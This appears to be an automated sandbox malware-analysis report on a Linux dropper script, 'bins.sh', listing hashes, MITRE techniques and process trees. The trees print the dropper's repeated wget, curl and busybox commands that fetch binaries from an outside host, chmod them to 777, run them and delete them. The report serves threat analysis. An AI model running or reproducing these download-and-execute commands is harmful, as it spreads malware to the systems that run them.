b2f4a0c51167e6768e8ce10b9fe6a7c55fa386dbc7e23ad8c4858c26e99bfa97

Analysis

max time kernel
90s
max time network
92s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241122-cf43yssjbz
SHA256 b2f4a0c51167e6768e8ce10b9fe6a7c55fa386dbc7e23ad8c4858c26e99bfa97
MD5 8d75f4c2e4f348e4f2665a89e160be06
SHA1 804624b39b421999467a856489050192dc5c440a
SHA512 ab67a0c4b5ac64b08dec7dde58b45fb2310e4e11834f1b72707a858a3ff2b51e49e16aee81585847f743c8cdcfde6569369ec96627e20491223050123b060f66
SSDEEP 96:YueRLXr77NNilF4LaoakaIEIcyK1i61mWFlFGOLHbtKqiGLO+kLxRxJxuN9DuLuV:Cbtglc5W
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
933	chmod
884	chmod
954	chmod
1003	chmod
863	chmod
898	chmod
912	chmod
996	chmod
832	chmod
870	chmod
891	chmod
919	chmod
940	chmod
947	chmod
750	chmod
816	chmod
968	chmod
989	chmod
809	chmod
926	chmod
905	chmod
975	chmod
1010	chmod
784	chmod
877	chmod
982	chmod
743	chmod
961	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
937	curl
943	wget
967	busybox
995	busybox
749	busybox
866	wget
869	busybox
874	curl
890	busybox
964	wget
965	curl
807	busybox
838	wget
922	wget
925	busybox
958	curl
993	curl
815	busybox
828	busybox
915	wget
916	curl
950	wget
992	wget
1002	busybox
1009	busybox
801	curl
812	wget
845	curl
953	busybox
960	busybox
999	wget
763	curl
819	wget
972	curl
988	busybox
883	busybox
908	wget
820	curl
918	busybox
930	curl
939	busybox
747	curl
779	busybox
873	wget
881	curl
979	curl
757	wget
791	wget
951	curl
981	busybox
985	wget
741	busybox
901	wget
1007	curl
923	curl
929	wget
718	wget
887	wget
897	busybox
1006	wget
813	curl
856	busybox
904	busybox
880	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB	curl
File opened for modification	/tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P	curl
File opened for modification	/tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6	curl
File opened for modification	/tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P	curl
File opened for modification	/tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i	curl
File opened for modification	/tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R	curl
File opened for modification	/tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i	curl
File opened for modification	/tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9	curl
File opened for modification	/tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl	curl
File opened for modification	/tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl	curl
File opened for modification	/tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU	curl
File opened for modification	/tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6	curl
File opened for modification	/tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy	curl
File opened for modification	/tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ	curl
File opened for modification	/tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L	curl
File opened for modification	/tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9	curl
File opened for modification	/tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r	curl
File opened for modification	/tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ	curl
File opened for modification	/tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB	curl
File opened for modification	/tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R	curl
File opened for modification	/tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9	curl
File opened for modification	/tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX	curl
File opened for modification	/tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L	curl
File opened for modification	/tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9	curl
File opened for modification	/tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy	curl
File opened for modification	/tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r	curl
File opened for modification	/tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU	curl
File opened for modification	/tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod 777 MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  ./MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod 777 CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  ./CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - System Network Configuration Discovery
  PID:757
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - System Network Configuration Discovery
  PID:779
- /bin/chmod
  chmod 777 xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  ./xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  PID:789
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - System Network Configuration Discovery
  PID:791
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - System Network Configuration Discovery
  PID:807
- /bin/chmod
  chmod 777 x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  ./x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - System Network Configuration Discovery
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - System Network Configuration Discovery
  PID:815
- /bin/chmod
  chmod 777 80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  ./80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - System Network Configuration Discovery
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod 777 tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  ./tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - System Network Configuration Discovery
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - System Network Configuration Discovery
  PID:856
- /bin/chmod
  chmod 777 t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  ./t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  ./hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  PID:876
- /bin/chmod
  chmod 777 XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  ./XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  ./qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  ./nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  ./7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm 7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  ./vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - System Network Configuration Discovery
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  PID:911
- /bin/chmod
  chmod 777 9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  ./9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  ./MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  ./CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  PID:932
- /bin/chmod
  chmod 777 80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  ./80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  ./tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  PID:946
- /bin/chmod
  chmod 777 t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  ./t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  ./xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  ./x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
  chmod 777 qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - File and Directory Permissions Modification
  PID:968
